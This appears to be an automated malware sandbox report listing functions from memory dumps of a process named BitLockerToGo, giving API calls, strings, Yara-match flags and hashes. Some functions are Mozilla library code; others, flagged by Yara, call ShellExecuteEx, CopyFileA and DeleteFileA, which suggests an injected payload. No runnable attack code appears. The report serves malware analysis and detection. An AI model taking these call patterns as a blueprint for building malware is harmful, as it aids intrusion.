Function 6CCB0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CC73DEF), ref: 6CCB0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CC73DEF), ref: 6CCB0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CC73DEF), ref: 6CCB0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CCB0D97, 6CCB0DBE
<jemalloc>, xrefs: 6CCB0D92, 6CCB0DB9

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 0842e47b2fb201b7781e9f51219b5e886f02989dd887a535c36caeb56bbca1c7
Instruction ID: 4f59caf1207fc02dc7657abca79abce6f68a3f818630736728c11cde5385c79c
Opcode Fuzzy Hash: 0842e47b2fb201b7781e9f51219b5e886f02989dd887a535c36caeb56bbca1c7
Instruction Fuzzy Hash: B7F05BA138075823E55013F65F16B96266D7FC1B55F344065F225EEDC0FB70E4054665

Function 0301C742 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0301C74E

Part of subcall function 0301BF9F: __getptd_noexit.LIBCMT ref: 0301BFA2
Part of subcall function 0301BF9F: __amsg_exit.LIBCMT ref: 0301BFAF

__getptd.LIBCMT ref: 0301C765
__amsg_exit.LIBCMT ref: 0301C773
__lock.LIBCMT ref: 0301C783
__updatetlocinfoEx_nolock.LIBCMT ref: 0301C797

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 72a2329b35ef0d7a3eb154046c4c8ce6881bebad3ef9ee8df5704d258e4b496f
Instruction ID: 608b538c2e4fd94a6a8b2bedb2b60f462c284e1a120adea96973b33880364e2b
Opcode Fuzzy Hash: 72a2329b35ef0d7a3eb154046c4c8ce6881bebad3ef9ee8df5704d258e4b496f
Instruction Fuzzy Hash: B6F09077A877109FE761FBF8540579E77E06F80724F24414DE014AF1D0CFA899608B56

Function 6CC9D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CCACBE8: GetCurrentProcess.KERNEL32(?,6CC731A7), ref: 6CCACBF1
Part of subcall function 6CCACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CC731A7), ref: 6CCACBFA

EnterCriticalSection.KERNEL32(6CCFE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CCAD1C5), ref: 6CC9D4F2
LeaveCriticalSection.KERNEL32(6CCFE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CCAD1C5), ref: 6CC9D50B

Part of subcall function 6CC7CFE0: EnterCriticalSection.KERNEL32(6CCFE784), ref: 6CC7CFF6
Part of subcall function 6CC7CFE0: LeaveCriticalSection.KERNEL32(6CCFE784), ref: 6CC7D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CCAD1C5), ref: 6CC9D52E
EnterCriticalSection.KERNEL32(6CCFE7DC), ref: 6CC9D690
LeaveCriticalSection.KERNEL32(6CCFE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CCAD1C5), ref: 6CC9D751

Strings

MOZ_CRASH(), xrefs: 6CC9D4BB

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: e71038acf6ce6ad11c401b9516660dec1d3e9ae00deec38673a5669c50b181b4
Instruction ID: 0bebfe903d0c31bae29ad87bfec77e11835c56445c02b0519ef85f9ee13817c3
Opcode Fuzzy Hash: e71038acf6ce6ad11c401b9516660dec1d3e9ae00deec38673a5669c50b181b4
Instruction Fuzzy Hash: 2451F171A047458FE354CF28C09475AB7F2EF89304F248A2ED5AAD7B84E771E801CB92

Function 6CCC46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CCC4721

Part of subcall function 6CC74410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CCB3EBD,00000017,?,00000000,?,6CCB3EBD,?,?,6CC742D2), ref: 6CC74444

Strings

., xrefs: 6CCC476A
-%llu, xrefs: 6CCC4733
profiler-paused, xrefs: 6CCC46E4

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: cff1d5f4e5e3ca716a7c3bff38d9f6a49bf0f4a1f09e4c4bc1238f7892cd8054
Instruction ID: 5331b3ae0cfb909c5a8763cc3cd6a59acd6562b47e0d402d4d15fe2cf01be172
Opcode Fuzzy Hash: cff1d5f4e5e3ca716a7c3bff38d9f6a49bf0f4a1f09e4c4bc1238f7892cd8054
Instruction Fuzzy Hash: F5313971F042085FCB08CF6DE8956ADBBE6DB89314F15813DE8059BB41FB709805CB51

Function 6CCCB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC74290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CCB3EBD,6CCB3EBD,00000000), ref: 6CC742A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CCCB127), ref: 6CCCB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCCB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CCCB4E4

Strings

pid:, xrefs: 6CCCB4DE

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 1c8abc37b2d61835921289bbc94538c2be6dc211dc0fc1ef7f15a63f696a3e70
Instruction ID: 1345a436b437dadfb1685f147406686e997fe16c0e585c652541fa02a2aac6ea
Opcode Fuzzy Hash: 1c8abc37b2d61835921289bbc94538c2be6dc211dc0fc1ef7f15a63f696a3e70
Instruction Fuzzy Hash: 9D31D031B05208DBDB10DFE9D890AEEB7B5FF45318F540529D811A7E41E736A84ACBA2

Function 03016630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 03016663

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

ShellExecuteEx.SHELL32(0000003C), ref: 03016726
ExitProcess.KERNEL32 ref: 03016755

Strings

<, xrefs: 030166D9

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: bb570ce3eebadc216cdf78a3f4b2c681dd87a633146e24286b74ffff1faddeb1
Instruction ID: dd87f48d130c36654cf9c7c07318fdbb5a787ecee1e564227802d06375c39281
Opcode Fuzzy Hash: bb570ce3eebadc216cdf78a3f4b2c681dd87a633146e24286b74ffff1faddeb1
Instruction Fuzzy Hash: 91312CB5D02218ABDB14EB90ED94FDEB778AF84310F408189E20A6A180DF746B59CF65

Function 6CCBE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CCBE577
AcquireSRWLockExclusive.KERNEL32(6CCFF4B8), ref: 6CCBE584
ReleaseSRWLockExclusive.KERNEL32(6CCFF4B8), ref: 6CCBE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CCBE8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CCBE826, 6CCBE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CCBE777
MOZ_PROFILER_STARTUP, xrefs: 6CCBE5A1, 6CCBE5CC, 6CCBE5FF, 6CCBE62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CCBE722, 6CCBE750, 6CCBE7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CCBE655

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 4c2d15162bc8f58b1fe2a919c6259a33019aa4b0d0780ce6e07261ae78cd9096
Instruction ID: 368d3dee9e1d641f73639f14dec6a901a343708b2a143f83d417e052b2db8c67
Opcode Fuzzy Hash: 4c2d15162bc8f58b1fe2a919c6259a33019aa4b0d0780ce6e07261ae78cd9096
Instruction Fuzzy Hash: 43118B31A04658DFCB009F58D848B6EBBF8FF89768F01061DE9A557B50E770A806CBA5

Function 03018D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0301951E,00000000), ref: 03018D5B
RtlAllocateHeap.NTDLL(00000000), ref: 03018D62
wsprintfW.USER32 ref: 03018D78

Strings

%hs, xrefs: 03018D6F

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: bd148e843224ac0622a8be308038d1e811b8c985942f865e371bfa826342470c
Instruction ID: 3d4b6dd37492140d3186431bfcdbb5579d0ec20d3bbaa4c0fdfda8d00da6748e
Opcode Fuzzy Hash: bd148e843224ac0622a8be308038d1e811b8c985942f865e371bfa826342470c
Instruction Fuzzy Hash: 19E0ECB9A81208BFD710EB94F90EE6D7BB8EB44702F008195FE0997244DA719E109B95

Function 6CCC0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CCC0CD5

Part of subcall function 6CCAF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CCAF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CCC0D40
free.MOZGLUE ref: 6CCC0DCB

Part of subcall function 6CC95E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CC95EDB
Part of subcall function 6CC95E90: memset.VCRUNTIME140(6CCD7765,000000E5,55CCCCCC), ref: 6CC95F27
Part of subcall function 6CC95E90: LeaveCriticalSection.KERNEL32(?), ref: 6CC95FB2

free.MOZGLUE ref: 6CCC0DDD
free.MOZGLUE ref: 6CCC0DF2

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: bfd34c98b357edc9098162fbe8c1ca41703a8d5d4611d1c68e418edafe1390d5
Instruction ID: 1279f05af6b90dd75566a259d2f40438e684e118421bb2a3b7fd7f5ee56e4753
Opcode Fuzzy Hash: bfd34c98b357edc9098162fbe8c1ca41703a8d5d4611d1c68e418edafe1390d5
Instruction Fuzzy Hash: 1D411AB1A087849BD320CF29C04079AFBE5BFC9754F108A2EE8E887750E7709445CB83

Function 6CCCCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CCBDA31,00100000,?,?,00000000,?), ref: 6CCCCDA4

Part of subcall function 6CC8CA10: malloc.MOZGLUE(?), ref: 6CC8CA26

Part of subcall function 6CCCD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CCCCDBA,00100000,?,00000000,?,6CCBDA31,00100000,?,?,00000000,?), ref: 6CCCD158
Part of subcall function 6CCCD130: InitializeConditionVariable.KERNEL32(00000098,?,6CCCCDBA,00100000,?,00000000,?,6CCBDA31,00100000,?,?,00000000,?), ref: 6CCCD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CCBDA31,00100000,?,?,00000000,?), ref: 6CCCCDC4

Part of subcall function 6CCC7480: ReleaseSRWLockExclusive.KERNEL32(?,6CCD15FC,?,?,?,?,6CCD15FC,?), ref: 6CCC74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CCBDA31,00100000,?,?,00000000,?), ref: 6CCCCECC

Part of subcall function 6CC8CA10: mozalloc_abort.MOZGLUE(?), ref: 6CC8CAA2

Part of subcall function 6CCBCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CCCCEEA,?,?,?,?,00000000,?,6CCBDA31,00100000,?,?,00000000), ref: 6CCBCB57
Part of subcall function 6CCBCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CCBCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CCCCEEA,?,?), ref: 6CCBCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CCBDA31,00100000,?,?,00000000,?), ref: 6CCCD058

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 6942e21c7ce60b1850ed61040956b42a072235467028133a7a7beba7b88275eb
Instruction ID: f2ebf9711941e97ca7b82fbc3d5cc9deaf30aa43217ea3f4b2d019d95c9bf037
Opcode Fuzzy Hash: 6942e21c7ce60b1850ed61040956b42a072235467028133a7a7beba7b88275eb
Instruction Fuzzy Hash: 8CD15E71B04B469FD708CF28C480799B7F1BF99308F01866DD85987752EB31E9A5CB82

Function 0300D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 03018B60: GetSystemTime.KERNEL32(?,03549910,030205AE,?,?,?,?,?,?,?,?,?,03004963,?,00000014), ref: 03018B86

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0300D481
lstrlen.KERNEL32(00000000), ref: 0300D698
lstrlen.KERNEL32(00000000), ref: 0300D6AC
DeleteFileA.KERNEL32(00000000), ref: 0300D72B

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 0415c89a3ae33c438ea5abce487d2d1c3c10cbcfe5f846d704eeb77bcd01da66
Instruction ID: c80ceb08a6757cdcda42f9b15c2bb360cd2fd2c48e8060a09c27a70525aa39af
Opcode Fuzzy Hash: 0415c89a3ae33c438ea5abce487d2d1c3c10cbcfe5f846d704eeb77bcd01da66
Instruction Fuzzy Hash: 4A91367AA532089BDB04FBA0DD94DEE7338AF94210F508169E5177B090EF746A5ECB70

Function 6CC95C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CC95D40
EnterCriticalSection.KERNEL32(6CCFF688), ref: 6CC95D67
__aulldiv.LIBCMT ref: 6CC95DB4
LeaveCriticalSection.KERNEL32(6CCFF688), ref: 6CC95DED

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
